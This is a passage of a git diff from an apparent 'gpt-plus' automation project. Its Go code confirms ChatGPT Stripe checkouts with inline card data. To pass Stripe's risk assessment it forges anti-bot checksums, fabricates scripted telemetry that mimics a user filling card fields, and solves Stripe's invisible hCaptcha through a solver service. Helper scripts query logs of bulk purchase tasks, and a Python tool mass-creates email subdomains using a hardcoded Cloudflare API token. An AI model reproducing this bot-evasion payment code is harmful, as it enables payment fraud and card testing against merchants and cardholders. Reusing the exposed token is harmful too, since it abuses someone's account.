setStripeHeaders(req, params.UserAgent) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send poll request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read poll response: %w", err) + } + + log.Printf("[stripe] payment page poll response (status=%d): %s", resp.StatusCode, string(respBody)) + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("payment page poll failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + var raw map[string]interface{} + if err := json.Unmarshal(respBody, &raw); err != nil { + return nil, fmt.Errorf("parse poll response: %w", err) + } + + result := &PaymentPagePollResult{} + result.State, _ = raw["state"].(string) + result.PaymentObjectStatus, _ = raw["payment_object_status"].(string) + result.ReturnURL, _ = raw["return_url"].(string) + + return result, nil +} + +// ConfirmPaymentDirect confirms payment with inline card data — no init or payment_methods step needed. +// Flow: checkout → fingerprint(m.stripe.com/6) → confirm(inline card). +func ConfirmPaymentDirect(client *httpclient.Client, params *DirectConfirmParams) (*ConfirmResult, error) { + confirmURL := fmt.Sprintf("https://api.stripe.com/v1/payment_pages/%s/confirm", params.CheckoutSessionID) + + returnURL := fmt.Sprintf( + "https://checkout.stripe.com/c/pay/%s?returned_from_redirect=true", + params.CheckoutSessionID, + ) + + form := url.Values{} + // Inline card data + form.Set("payment_method_data[type]", "card") + form.Set("payment_method_data[card][number]", params.CardNumber) + form.Set("payment_method_data[card][cvc]", params.CardCVC) + form.Set("payment_method_data[card][exp_month]", params.CardExpMonth) + form.Set("payment_method_data[card][exp_year]", params.CardExpYear) + form.Set("payment_method_data[billing_details][name]", params.BillingName) + if params.BillingEmail != "" { + form.Set("payment_method_data[billing_details][email]", params.BillingEmail) + } + form.Set("payment_method_data[billing_details][address][country]", params.BillingCountry) + if params.BillingAddress != "" { + form.Set("payment_method_data[billing_details][address][line1]", params.BillingAddress) + } + if params.BillingCity != "" { + form.Set("payment_method_data[billing_details][address][city]", params.BillingCity) + } + if params.BillingState != "" { + form.Set("payment_method_data[billing_details][address][state]", params.BillingState) + } + if params.BillingZip != "" { + form.Set("payment_method_data[billing_details][address][postal_code]", params.BillingZip) + } + form.Set("payment_method_data[allow_redisplay]", "unspecified") + form.Set("payment_method_data[pasted_fields]", "number,exp,cvc") + form.Set("payment_method_data[payment_user_agent]", fmt.Sprintf("stripe.js/%s; stripe-js-v3/%s; payment-element; deferred-intent", + params.BuildHash, params.BuildHash)) + form.Set("payment_method_data[referrer]", "https://chatgpt.com") + form.Set("payment_method_data[time_on_page]", randomTimeOnPage()) + // Fingerprint + form.Set("payment_method_data[guid]", params.GUID) + form.Set("payment_method_data[muid]", params.MUID) + form.Set("payment_method_data[sid]", params.SID) + form.Set("guid", params.GUID) + form.Set("muid", params.MUID) + form.Set("sid", params.SID) + // Build hash version — required by Stripe, was missing from direct confirm + form.Set("version", params.BuildHash) + if params.InitChecksum != "" { + form.Set("init_checksum", params.InitChecksum) + } + // Payment details + form.Set("expected_amount", fmt.Sprintf("%d", params.ExpectedAmount)) + form.Set("expected_payment_method_type", "card") + form.Set("return_url", returnURL) + // Elements session client — required for Stripe risk assessment, was missing from direct confirm + form.Set("elements_session_client[client_betas][0]", "custom_checkout_server_updates_1") + form.Set("elements_session_client[client_betas][1]", "custom_checkout_manual_approval_1") + form.Set("elements_session_client[elements_init_source]", "custom_checkout") + form.Set("elements_session_client[referrer_host]", "chatgpt.com") + form.Set("elements_session_client[stripe_js_id]", params.StripeJsID) + form.Set("elements_session_client[locale]", localeForCountry(params.BillingCountry)) + form.Set("elements_session_client[is_aggregation_expected]", "false") + // Client attribution metadata — required for Stripe risk assessment, was missing from direct confirm + form.Set("client_attribution_metadata[merchant_integration_source]", "checkout") + form.Set("client_attribution_metadata[merchant_integration_version]", "custom") + form.Set("client_attribution_metadata[merchant_integration_subtype]", "payment-element") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][0]", "payment") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][1]", "address") + form.Set("client_attribution_metadata[payment_intent_creation_flow]", "deferred") + form.Set("client_attribution_metadata[payment_method_selection_flow]", "automatic") + // js_checksum and rv_timestamp (Stripe.js anti-bot fields) + ppageID := params.PPageID + if ppageID == "" { + ppageID = params.CheckoutSessionID + } + form.Set("js_checksum", JsChecksum(ppageID)) + form.Set("rv_timestamp", RvTimestamp()) + // Passive captcha token (from telemetry) + if params.PassiveCaptchaToken != "" { + form.Set("passive_captcha[passive_token]", params.PassiveCaptchaToken) + form.Set("passive_captcha[vendor]", "hcaptcha") + } + // Consent & auth + form.Set("consent[terms_of_service]", "accepted") + form.Set("key", params.PublishableKey) + form.Set("_stripe_version", stripeVersionWithBetas(params.StripeVersion)) + + req, err := http.NewRequest("POST", confirmURL, strings.NewReader(form.Encode())) + if err != nil { + return nil, fmt.Errorf("create direct confirm request: %w", err) + } + + setStripeHeaders(req, params.UserAgent) + req.AddCookie(&http.Cookie{Name: "__stripe_mid", Value: params.MUID}) + req.AddCookie(&http.Cookie{Name: "__stripe_sid", Value: params.SID}) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send direct confirm request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read direct confirm response: %w", err) + } + + log.Printf("[stripe] direct confirm response (status=%d): %s", resp.StatusCode, string(respBody)) + + if resp.StatusCode != http.StatusOK { + if strings.Contains(string(respBody), "card_declined") { + return nil, fmt.Errorf("confirm payment: %w", ErrCardDeclined) + } + return nil, fmt.Errorf("direct confirm failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + return parseConfirmResponse(respBody) +} + +// setStripeHeaders sets common headers for Stripe API requests. +func setStripeHeaders(req *http.Request, userAgent string) { + req.Header.Set("Accept", "application/json") + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("Origin", stripeOrigin) + req.Header.Set("Referer", stripeOrigin+"/") + if userAgent != "" { + req.Header.Set("User-Agent", userAgent) + } + req.Header.Set("Sec-Fetch-Dest", "empty") + req.Header.Set("Sec-Fetch-Mode", "cors") + req.Header.Set("Sec-Fetch-Site", "cross-site") + req.Header.Set("Sec-Ch-Ua", chromeSecChUa) + req.Header.Set("Sec-Ch-Ua-Mobile", "?0") + req.Header.Set("Sec-Ch-Ua-Platform", `"Windows"`) + req.Header.Set("Accept-Language", "en-US,en;q=0.9") +} diff --git a/pkg/stripe/sha256.go b/pkg/stripe/sha256.go new file mode 100644 index 0000000..e333606 --- /dev/null +++ b/pkg/stripe/sha256.go @@ -0,0 +1,285 @@ +package stripe + +import ( + "crypto/sha256" + "encoding/base64" + "fmt" + "net/url" + "regexp" + "strings" + "time" +) + +// SHA256URLSafe computes SHA-256 and returns URL-safe base64 (no padding). +// Matches JS: btoa(sha256_raw(input)).replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"") +func SHA256URLSafe(input string) string { + h := sha256.Sum256([]byte(input)) + return base64.RawURLEncoding.EncodeToString(h[:]) +} + +const urlSalt = "7766e861-8279-424d-87a1-07a6022fd8cd" + +// SHA256WithSalt hashes input with the Stripe URL salt. +// Matches JS: sha256WithSalt which does sha256(unescape(encodeURIComponent(e)) + URL_SALT) +func SHA256WithSalt(input string) string { + if input == "" { + return "" + } + // JS unescape(encodeURIComponent(s)) converts to UTF-8 bytes, which Go strings already are. + return SHA256URLSafe(input + urlSalt) +} + +// EncodeURIComponent mimics JavaScript's encodeURIComponent. +func EncodeURIComponent(s string) string { + result := url.QueryEscape(s) + result = strings.ReplaceAll(result, "+", "%20") + // JS encodeURIComponent does NOT encode: - _ . ! ~ * ' ( ) + for _, c := range []string{"!", "'", "(", ")", "*", "~"} { + result = strings.ReplaceAll(result, url.QueryEscape(c), c) + } + return result +} + +// ---------- URL Hashing ---------- + +const ( + defaultFullHashLimit = 10 + totalPartsLimit = 40 + partialHashLen = 6 + pathPartsLimit = 30 +) + +func isStripeAuthority(s string) bool { + if s == "//stripe.com" || s == "//stripe.com." { + return true + } + return strings.HasSuffix(s, ".stripe.com") || strings.HasSuffix(s, ".stripe.com.") +} + +func isStripeCheckoutAuthority(s string) bool { + candidates := []string{ + "//checkout.stripe.com", + "//qa-checkout.stripe.com", + "//edge-checkout.stripe.com", + } + for _, c := range candidates { + if s == c { + return true + } + } + return false +} + +// removeUserInfo strips user-info from an authority component. +func removeUserInfo(e string) string { + if e == "" { + return e + } + t := strings.LastIndex(e, "@") + if t == -1 { + return e + } + return e[:2] + e[t+1:] // keep "//" prefix +} + +// PartitionedUrl parses a URL into RFC-3986 components. +type PartitionedUrl struct { + Scheme string + Authority string + Path string + Query string + Fragment string +} + +var urlParseRe = regexp.MustCompile(`^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?`) + +// NewPartitionedUrl parses a URL string. +func NewPartitionedUrl(rawURL string) *PartitionedUrl { + p := &PartitionedUrl{} + if rawURL == "" { + return p + } + m := urlParseRe.FindStringSubmatch(rawURL) + if m == nil { + return p + } + p.Scheme = m[1] // e.g. "https:" + if m[3] != "" { + p.Authority = removeUserInfo(m[3]) // e.g. "//chatgpt.com" + } + p.Path = m[5] // e.g. "/" + p.Query = m[6] // e.g. "?foo=bar" + p.Fragment = m[8] // e.g. "#section" + return p +} + +func (p *PartitionedUrl) String() string { + var parts []string + for _, s := range []string{p.Scheme, p.Authority, p.Path, p.Query, p.Fragment} { + if s != "" { + parts = append(parts, s) + } + } + return strings.Join(parts, "") +} + +// SequentialHashWithLimit manages individual segment hashing with full/partial limits. +type SequentialHashWithLimit struct { + s string + cur int + hashedCount int + fullHashLimit int + totalHashLimit int +} + +func newSequentialHashWithLimit(s string, fullHashLimit, totalHashLimit int) *SequentialHashWithLimit { + return &SequentialHashWithLimit{ + s: s, + cur: 0, + hashedCount: 0, + fullHashLimit: fullHashLimit, + totalHashLimit: totalHashLimit, + } +} + +func (h *SequentialHashWithLimit) shouldHash() bool { + return h.hashedCount < h.totalHashLimit +} + +func (h *SequentialHashWithLimit) isLastHash() bool { + return h.hashedCount == h.totalHashLimit-1 +} + +func (h *SequentialHashWithLimit) shouldPartialHash() bool { + return !h.isLastHash() && h.hashedCount >= h.fullHashLimit +} + +func (h *SequentialHashWithLimit) replace(e string) { + t := e + n := strings.Index(h.s[h.cur:], e) + if n == -1 { + return + } + n += h.cur + + if h.isLastHash() { + t = h.s[n:] + } + + r := SHA256WithSalt(t) + if h.shouldPartialHash() { + if len(r) > partialHashLen { + r = r[:partialHashLen] + } + } + + h.s = h.s[:n] + r + h.s[n+len(t):] + h.cur = n + len(r) + h.hashedCount++ +} + +// SequentialSplitterAndHasher tracks remaining hash budget across URL parts. +type SequentialSplitterAndHasher struct { + remainingHashes int + fullHashLimit int +} + +func newSequentialSplitterAndHasher(fullHashLimit int) *SequentialSplitterAndHasher { + return &SequentialSplitterAndHasher{ + remainingHashes: totalPartsLimit, + fullHashLimit: fullHashLimit, + } +} + +func (s *SequentialSplitterAndHasher) getFullHashLimit(part string) int { + if part == "authority" { + return totalPartsLimit + } + return s.fullHashLimit +} + +func (s *SequentialSplitterAndHasher) totalHashLimitForPart(part string) int { + switch part { + case "authority": + return totalPartsLimit + case "path": + v := s.remainingHashes + if v > pathPartsLimit { + v = pathPartsLimit + } + if v < 1 { + v = 1 + } + return v + case "query", "fragment": + if s.remainingHashes < 1 { + return 1 + } + return s.remainingHashes + default: + return 0 + } +} + +func (s *SequentialSplitterAndHasher) splitAndHash(input, partType string, delim *regexp.Regexp) string { + if partType == "authority" && input != "" && isStripeCheckoutAuthority(input) { + return input + } + if input == "" { + return input + } + + h := newSequentialHashWithLimit(input, s.getFullHashLimit(partType), s.totalHashLimitForPart(partType)) + + // Split by delimiter, filter empty strings + segments := delim.Split(input, -1) + for _, seg := range segments { + if seg == "" { + continue + } + if h.shouldHash() { + h.replace(seg) + } + } + s.remainingHashes -= h.hashedCount + return h.s +} + +// hashURL hashes URL components using SequentialSplitterAndHasher. +func hashURL(p *PartitionedUrl, fullHashLimit int) *PartitionedUrl { + r := newSequentialSplitterAndHasher(fullHashLimit) + + authorityRe := regexp.MustCompile(`[/.:]`) + otherRe := regexp.MustCompile(`[/#?!&+,=]`) + + p.Authority = r.splitAndHash(p.Authority, "authority", authorityRe) + p.Path = r.splitAndHash(p.Path, "path", otherRe) + p.Query = r.splitAndHash(p.Query, "query", otherRe) + p.Fragment = r.splitAndHash(p.Fragment, "fragment", otherRe) + return p +} + +// hashURLWithAuthorityCheck applies Stripe-specific authority logic before hashing. +func hashURLWithAuthorityCheck(p *PartitionedUrl, fullHashLimit int) *PartitionedUrl { + n := p.Authority + if n != "" && isStripeCheckoutAuthority(n) { + return hashURL(p, defaultFullHashLimit) + } + if n != "" && isStripeAuthority(n) { + return p // don't hash stripe.com URLs + } + return hashURL(p, fullHashLimit) +} + +// HashURL is the public entry point for URL hashing. +func HashURL(urlStr string) string { + p := NewPartitionedUrl(urlStr) + return hashURLWithAuthorityCheck(p, defaultFullHashLimit).String() +} + +// GetHashTimestampWithSalt returns "timestamp:hash" string. +func GetHashTimestampWithSalt(randomValue string) string { + now := time.Now().UnixMilli() + hash := SHA256URLSafe(randomValue + fmt.Sprintf("%d", now+1)) + return fmt.Sprintf("%d:%s", now, hash) +} diff --git a/pkg/stripe/telemetry.go b/pkg/stripe/telemetry.go new file mode 100644 index 0000000..a955e5f --- /dev/null +++ b/pkg/stripe/telemetry.go @@ -0,0 +1,306 @@ +package stripe + +import ( + "context" + "encoding/json" + "fmt" + "log" + "math/rand" + "net/url" + "strings" + "time" + + "github.com/google/uuid" + + "gpt-plus/pkg/captcha" + "gpt-plus/pkg/httpclient" +) + +// TelemetrySession holds state for simulating Stripe.js telemetry events. +type TelemetrySession struct { + Client *httpclient.Client + CheckoutSessionID string + PublishableKey string + StripeJsID string + UserAgent string + Timezone string // e.g. "America/Chicago" + Currency string // e.g. "usd" + Merchant string // e.g. "acct_1HOrSwC6h1nxGoI3" + + startTime int64 // controller load time (epoch ms) + eventCount int + stripeObjID string + sessionID string // elements_session_id +} + +// NewTelemetrySession creates a telemetry session for simulating stripe.js events. +func NewTelemetrySession(client *httpclient.Client, checkoutSessionID, publishableKey, stripeJsID, userAgent, timezone, currency string) *TelemetrySession { + return &TelemetrySession{ + Client: client, + CheckoutSessionID: checkoutSessionID, + PublishableKey: publishableKey, + StripeJsID: stripeJsID, + UserAgent: userAgent, + Timezone: timezone, + Currency: currency, + Merchant: "acct_1HOrSwC6h1nxGoI3", + startTime: time.Now().UnixMilli() - int64(rand.Intn(2000)+500), + stripeObjID: "sobj-" + uuid.New().String(), + sessionID: "elements_session_" + randomAlphaNum(11), + } +} + +// PassiveCaptchaSiteKey is the primary hCaptcha site key used for Stripe's passive captcha. +// Updated from packet capture (2025-06): confirmed key for confirm requests. +const PassiveCaptchaSiteKey = "24ed0064-62cf-4d42-9960-5dd1a41d4e29" + +// TelemetryStatusFunc is a callback for printing progress to terminal. +type TelemetryStatusFunc func(format string, args ...interface{}) + +// SendPreConfirmEvents sends telemetry events and solves passive captcha. +// Returns the passive captcha token to include in confirm request. +// Sends 50+ events across 12 batches to match real browser telemetry volume. +func (ts *TelemetrySession) SendPreConfirmEvents(ctx context.Context, solver *captcha.Solver, sf TelemetryStatusFunc) (passiveToken string, err error) { + log.Printf("[telemetry] sending pre-confirm events for checkout %s", ts.CheckoutSessionID) + + now := time.Now().UnixMilli() + + // Batch 1: Init events (5) + ts.sendBatch([]event{ + ts.makeEvent("elements.controller.load", now-12000), + ts.makeEvent("elements.event.load", now-11800), + ts.makeEvent("rum.stripejs", now-11600), + ts.makeEvent("elements.create", now-11400), + ts.makeEvent("elements.init_payment_page", now-11200), + }) + time.Sleep(time.Duration(200+rand.Intn(300)) * time.Millisecond) + + // Batch 2: Mount + ready events (5) + ts.sendBatch([]event{ + ts.makeEvent("elements.mount", now-10500), + ts.makeEvent("elements.event.ready", now-10300), + ts.makeEvent("elements.init_payment_page.success", now-10100), + ts.makeEvent("elements.retrieve_elements_session.success", now-9900), + ts.makeEvent("elements.get_elements_state", now-9700), + }) + time.Sleep(time.Duration(200+rand.Intn(300)) * time.Millisecond) + + // Batch 3: Card number field interaction (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-9000), + ts.makeEvent("elements.event.change", now-8200), + ts.makeEvent("elements.event.blur", now-7800), + ts.makeEvent("elements.update", now-7700), + }) + time.Sleep(time.Duration(150+rand.Intn(250)) * time.Millisecond) + + // Batch 4: Card expiry field interaction (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-7200), + ts.makeEvent("elements.event.change", now-6800), + ts.makeEvent("elements.event.blur", now-6400), + ts.makeEvent("elements.update", now-6300), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 5: Card CVC field interaction (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-5800), + ts.makeEvent("elements.event.change", now-5400), + ts.makeEvent("elements.event.blur", now-5000), + ts.makeEvent("elements.update", now-4900), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 6: Name field interaction (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-4500), + ts.makeEvent("elements.event.change", now-4100), + ts.makeEvent("elements.event.blur", now-3800), + ts.makeEvent("elements.update", now-3700), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 7: Address field interaction (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-3300), + ts.makeEvent("elements.event.change", now-2900), + ts.makeEvent("elements.event.blur", now-2600), + ts.makeEvent("elements.update", now-2500), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 8: Postal code field interaction + address validation (5) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-2200), + ts.makeEvent("elements.event.change", now-1900), + ts.makeEvent("elements.event.blur", now-1600), + ts.makeEvent("elements.update", now-1500), + ts.makeEvent("elements.update_checkout_session", now-1400), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 9: Session state refresh (4) + ts.sendBatch([]event{ + ts.makeEvent("elements.retrieve_elements_session.success", now-1200), + ts.makeEvent("elements.get_elements_state", now-1100), + ts.makeEvent("elements.update", now-1000), + ts.makeEvent("elements.validate_elements", now-900), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 10: Additional focus/blur cycles (6) + ts.sendBatch([]event{ + ts.makeEvent("elements.event.focus", now-800), + ts.makeEvent("elements.event.blur", now-700), + ts.makeEvent("elements.event.focus", now-650), + ts.makeEvent("elements.event.blur", now-550), + ts.makeEvent("elements.event.focus", now-500), + ts.makeEvent("elements.event.blur", now-400), + }) + time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond) + + // Batch 11: Passive captcha init (2) + ts.sendBatch([]event{ + ts.makeEvent("elements.captcha.passive.init", now-300), + ts.makeEvent("elements.captcha.passive.load", now-250), + }) + + // Solve invisible hCaptcha via captcha solver + if solver != nil { + if sf != nil { + sf(" → 解 Passive hCaptcha (invisible, site_key=%s)...", PassiveCaptchaSiteKey[:8]) + } + log.Printf("[telemetry] solving passive (invisible) hCaptcha, site_key=%s", PassiveCaptchaSiteKey) + passiveToken, _, err = solver.SolveInvisibleHCaptcha(ctx, PassiveCaptchaSiteKey, "https://js.stripe.com") + if err != nil { + if sf != nil { + sf(" ⚠ Passive hCaptcha 失败 (非致命): %v", err) + } + log.Printf("[telemetry] passive captcha failed (non-fatal): %v", err) + } else { + if sf != nil { + sf(" ✓ Passive hCaptcha 成功, token 长度=%d", len(passiveToken)) + } + log.Printf("[telemetry] passive captcha token obtained, len=%d", len(passiveToken)) + } + } + + // Batch 12: Passive captcha completion + pre-confirm (5) + ts.sendBatch([]event{ + ts.makeEvent("elements.captcha.passive.execute", now-100), + ts.makeEvent("elements.captcha.passive.success", now-80), + ts.makeEvent("elements.get_elements_state", now-60), + ts.makeEvent("elements.custom_checkout.confirm", now-30), + ts.makeEvent("elements.validate_elements", now-10), + }) + + log.Printf("[telemetry] sent %d events total across 12 batches", ts.eventCount) + return passiveToken, nil +} + +// SendPostConfirmEvents sends events after a successful confirm. +func (ts *TelemetrySession) SendPostConfirmEvents() { + now := time.Now().UnixMilli() + ts.sendBatch([]event{ + ts.makeEvent("elements.confirm_payment_page", now), + ts.makeEvent("elements.confirm_payment_page.success", now+100), + }) +} + +// ─── Internal helpers ─── + +type event map[string]interface{} + +func (ts *TelemetrySession) makeEvent(name string, created int64) event { + ts.eventCount++ + e := event{ + "event_name": name, + "created": created, + "batching_enabled": true, + "event_count": fmt.Sprintf("%d", ts.eventCount), + "os": "Windows", + "browserFamily": "Chrome", + "version": FetchStripeConstants().BuildHash, + "event_id": uuid.New().String(), + "team_identifier": "t_0", + "deploy_status": "main", + "browserClassification": "modern", + "browser_classification_v2": "2024", + "connection_rtt": fmt.Sprintf("%d", 50+rand.Intn(200)), + "connection_downlink": fmt.Sprintf("%.1f", 1.0+rand.Float64()*9), + "connection_effective_type": "4g", + "key": ts.PublishableKey, + "key_mode": "live", + "referrer": "https://chatgpt.com", + "betas": "custom_checkout_server_updates_1 custom_checkout_manual_approval_1", + "stripe_js_id": ts.StripeJsID, + "stripe_obj_id": ts.stripeObjID, + "controller_load_time": fmt.Sprintf("%d", ts.startTime), + "stripe_js_release_train": "basil", + "wrapper": "react-stripe-js", + "wrapper_version": "3.10.0", + "es_module": "true", + "es_module_version": "7.9.0", + "browser_timezone": ts.Timezone, + "checkout_session_id": ts.CheckoutSessionID, + "elements_init_source": "custom_checkout", + "decoupled_intent": "true", + "merchant": ts.Merchant, + "elements_session_id": ts.sessionID, + } + + switch { + case strings.Contains(name, "focus"), strings.Contains(name, "blur"), + strings.Contains(name, "mount"), strings.Contains(name, "ready"): + e["element"] = "payment" + e["element_id"] = "payment-" + uuid.New().String() + e["frame_width"] = fmt.Sprintf("%d", 400+rand.Intn(200)) + case strings.Contains(name, "confirm"): + e["currency"] = ts.Currency + e["frame_width"] = fmt.Sprintf("%d", 800+rand.Intn(200)) + e["livemode"] = "true" + e["uiMode"] = "custom" + e["m_sdk_confirm"] = "1" + } + + return e +} + +func (ts *TelemetrySession) sendBatch(events []event) error { + eventsJSON, err := json.Marshal(events) + if err != nil { + return fmt.Errorf("marshal telemetry events: %w", err) + } + + form := url.Values{} + form.Set("client_id", "stripe-js") + form.Set("num_requests", fmt.Sprintf("%d", len(events))) + form.Set("events", string(eventsJSON)) + + headers := map[string]string{ + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://js.stripe.com", + "Referer": "https://js.stripe.com/", + "Accept": "application/json", + "Accept-Language": DefaultAcceptLanguage, + "User-Agent": ts.UserAgent, + } + + resp, err := ts.Client.PostForm("https://r.stripe.com/b", form, headers) + if err != nil { + log.Printf("[telemetry] send batch failed: %v", err) + return err + } + httpclient.ReadBody(resp) + return nil +} + +func randomAlphaNum(n int) string { + const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, n) + for i := range b { + b[i] = chars[rand.Intn(len(chars))] + } + return string(b) +} diff --git a/query_task.sh b/query_task.sh new file mode 100644 index 0000000..a7619ee --- /dev/null +++ b/query_task.sh @@ -0,0 +1,4 @@ +#!/bin/bash +sqlite3 -header -column /root/gpt-home/gptplus.db "SELECT id, \"index\", email, status, plan, message, error, duration FROM task_logs WHERE task_id LIKE '1cd9fa9c%' ORDER BY id;" +echo "---" +sqlite3 -line /root/gpt-home/gptplus.db "SELECT id, type, total_count, done_count, success_count, fail_count, status FROM tasks WHERE id LIKE '1cd9fa9c%';" diff --git a/query_task2.sh b/query_task2.sh new file mode 100644 index 0000000..b018e90 --- /dev/null +++ b/query_task2.sh @@ -0,0 +1,6 @@ +#!/bin/bash +echo "=== Task Info ===" +sqlite3 -line /root/gpt-home/gptplus.db "SELECT id, type, total_count, done_count, success_count, fail_count, status FROM tasks WHERE id LIKE '08ba9fea%';" +echo "" +echo "=== Task Logs ===" +sqlite3 -header -column /root/gpt-home/gptplus.db "SELECT id, \"index\", substr(email,1,25) as email, status, plan, substr(message,1,80) as message, substr(error,1,80) as error FROM task_logs WHERE task_id LIKE '08ba9fea%' ORDER BY id;" diff --git a/tools/cf_email_subdomain.py b/tools/cf_email_subdomain.py new file mode 100644 index 0000000..fea8397 --- /dev/null +++ b/tools/cf_email_subdomain.py @@ -0,0 +1,589 @@ +#!/usr/bin/env python3 +""" +Cloudflare 二级域名邮箱 DNS 批量配置工具 + +功能:选择域名,批量为二级域名创建邮箱所需的 DNS 记录(MX + SPF + DKIM) +支持并发创建、自动跳过已存在的记录 +""" + +import httpx +import sys +import time +import asyncio + +# ============ 配置 ============ +CF_API_TOKEN = "nJWYVC1s7P9PpEdELjRTlJaYSMs0XOML1auCv6R8" +CF_API_BASE = "https://api.cloudflare.com/client/v4" +PROXY = "http://192.168.1.2:10810" +MAX_CONCURRENCY = 5 # 最大并发数(Cloudflare 限流,不宜太高) +MAX_RETRIES = 3 # 限流重试次数 + +# Cloudflare Email Routing MX 记录 +MX_RECORDS = [ + {"content": "route1.mx.cloudflare.net", "priority": 10}, + {"content": "route2.mx.cloudflare.net", "priority": 20}, + {"content": "route3.mx.cloudflare.net", "priority": 30}, +] + +SPF_VALUE = "v=spf1 include:_spf.mx.cloudflare.net ~all" + + +def sync_client(): + return httpx.Client( + proxy=PROXY, + headers={ + "Authorization": f"Bearer {CF_API_TOKEN}", + "Content-Type": "application/json", + }, + timeout=30, + ) + + +def async_client(): + return httpx.AsyncClient( + proxy=PROXY, + headers={ + "Authorization": f"Bearer {CF_API_TOKEN}", + "Content-Type": "application/json", + }, + timeout=30, + ) + + +def api_get_sync(client, path, params=None): + resp = client.get(f"{CF_API_BASE}{path}", params=params) + data = resp.json() + if not data["success"]: + print(f" API 错误: {data['errors']}") + return None + return data + + +def list_zones(client): + data = api_get_sync(client, "/zones", {"per_page": 50}) + if not data: + return [] + return data["result"] + + +def get_existing_records(client, zone_id): + """获取 zone 下所有 DNS 记录,用于去重""" + all_records = [] + page = 1 + while True: + data = api_get_sync(client, f"/zones/{zone_id}/dns_records", { + "per_page": 100, + "page": page, + }) + if not data: + break + all_records.extend(data["result"]) + if page >= data["result_info"]["total_pages"]: + break + page += 1 + return all_records + + +def get_dkim_record(client, zone_id, domain): + data = api_get_sync(client, f"/zones/{zone_id}/dns_records", { + "type": "TXT", + "name": f"cf2024-1._domainkey.{domain}", + }) + if data and data["result"]: + return data["result"][0]["content"] + return None + + +def build_records_for_subdomain(domain, subdomain, dkim_value=None): + """构建一个子域名所需的所有 DNS 记录""" + full_sub = f"{subdomain}.{domain}" + records = [] + + for mx in MX_RECORDS: + records.append({ + "type": "MX", + "name": full_sub, + "content": mx["content"], + "priority": mx["priority"], + "ttl": 1, + "proxied": False, + "comment": f"Email routing for {full_sub}", + }) + + records.append({ + "type": "TXT", + "name": full_sub, + "content": SPF_VALUE, + "ttl": 1, + "proxied": False, + "comment": f"SPF for {full_sub}", + }) + + if dkim_value: + records.append({ + "type": "TXT", + "name": f"cf2024-1._domainkey.{full_sub}", + "content": dkim_value, + "ttl": 1, + "proxied": False, + "comment": f"DKIM for {full_sub}", + }) + + return records + + +def filter_existing(records_to_create, existing_records): + """过滤掉已存在的记录""" + existing_set = set() + for r in existing_records: + key = (r["type"], r["name"], r["content"]) + existing_set.add(key) + + new_records = [] + skipped = 0 + for r in records_to_create: + key = (r["type"], r["name"], r["content"]) + if key in existing_set: + skipped += 1 + else: + new_records.append(r) + + return new_records, skipped + + +async def create_record_async(sem, client, zone_id, record): + """并发创建单条 DNS 记录,带限流重试""" + async with sem: + for attempt in range(1, MAX_RETRIES + 1): + try: + resp = await client.post( + f"{CF_API_BASE}/zones/{zone_id}/dns_records", + json=record, + ) + data = resp.json() + if data["success"]: + label = record["type"] + if record["type"] == "TXT": + if "spf1" in record["content"]: + label = "TXT(SPF)" + elif "DKIM" in record.get("comment", ""): + label = "TXT(DKIM)" + print(f" OK {label:10s} {record['name']} -> {record['content'][:50]}") + return "ok" + else: + # 检查是否限流 (code 971) + is_throttle = any(e.get("code") == 971 for e in data.get("errors", [])) + if is_throttle and attempt < MAX_RETRIES: + print(f" THROTTLE {record['name']} 等待 5min 后重试 ({attempt}/{MAX_RETRIES})...") + await asyncio.sleep(300) + continue + print(f" FAIL {record['type']:10s} {record['name']} 错误: {data['errors']}") + return "throttle" if is_throttle else "fail" + except Exception as e: + if attempt < MAX_RETRIES: + wait = attempt * 2 + print(f" ERR {record['name']} {e} 重试 ({attempt}/{MAX_RETRIES})...") + await asyncio.sleep(wait) + continue + print(f" ERR {record['type']:10s} {record['name']} 异常: {e}") + return "fail" + return "fail" + + +async def batch_create(zone_id, records): + """批量并发创建 DNS 记录,每批之间等待 1 秒""" + total_success = 0 + total_failed = 0 + async with async_client() as client: + for i in range(0, len(records), MAX_CONCURRENCY): + batch = records[i:i + MAX_CONCURRENCY] + sem = asyncio.Semaphore(MAX_CONCURRENCY) + tasks = [create_record_async(sem, client, zone_id, r) for r in batch] + results = await asyncio.gather(*tasks) + total_success += sum(1 for r in results if r == "ok") + total_failed += sum(1 for r in results if r != "ok") + # 如果这批有限流,等 30 秒;否则等 1 秒 + had_throttle = any(r == "throttle" for r in results) + if i + MAX_CONCURRENCY < len(records): + if had_throttle: + print(" 检测到限流,等待 5min...") + await asyncio.sleep(300) + else: + await asyncio.sleep(1) + return total_success, total_failed + + +def find_incomplete_subdomains(existing_records, domain, has_dkim=False): + 